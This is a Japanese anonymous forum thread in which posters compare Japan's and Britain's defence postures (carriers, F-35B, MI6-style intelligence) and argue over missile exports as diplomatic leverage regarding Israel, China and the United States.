よって君の主張の後半部分は意味が成立しないと思う

まぁここでF-22ではなくて英国の防衛を考えてみよう。
同じ島国だ。

核＋原潜＋正規空母（計画）＋F-35B（計画）＋EuroFighter＋MI5＋MI6

日本よりバランスがいい。日本にもMI6のようなものが欲しいっす。
戦闘機は開発に噛んでるし、外洋型ってのは周辺国が安定しまくりってのも
大きいだろうけど･･･

中国に技術を売ったイスラエルに対する報復という意味で日本もミサイル輸出して
今後の牽制の外交カードにしたいね。中国に他国は技術売りすぎ。

ヲイヲイ、中東にミサイル輸出するのか？
アメリカから報復されるぞｗ

正規空母が何を示すのかさっぱりだが、そんなカテゴリーの空母はイギリスの建艦計画にあったか？

>>836
海を挟んで隣接する外周国家が軍事・経済・政治体制で同盟関係にあり、
遠隔地を多く保有するイギリスと日本では全然違うだろ。
日本がフォークランドのようなところに遠征するかよアホらしい。

>>839
周辺国家が安定しEUのようなものがもし仮に日本周辺にあったとして
多分その場合、日本は軽空母は当の昔に持ってたと思うけど。
イギリスで日本の参考になるのはMI6と国内航空産業育成の部分あたりかな。

海洋国家インドネシアを仮想敵国とするオーストラリアですら、
空母を持たずに足の長い陸上機を主力に据えてるからな。

>>837
おいおい、アメリカが困るのならばアメリカに対するカードになるのだが。
イスラエル-中国の関係はアメリカが独自に制裁をちらつかせ関係が少し粗悪に
なったのだが、日本にカードがあるという事は主体的にアメリカをも動かせる
という事。
イスラエルが動いたから、じゃぁ日本はこうします、それが困るならアメリカは
どう動いてくれるんですか？これが外交の基本なのだが。
それが出来なきゃ対中国の関係もアメリカの意志次第って事にならないか？

アメリカが怒るからとそこで思考停止してどうする。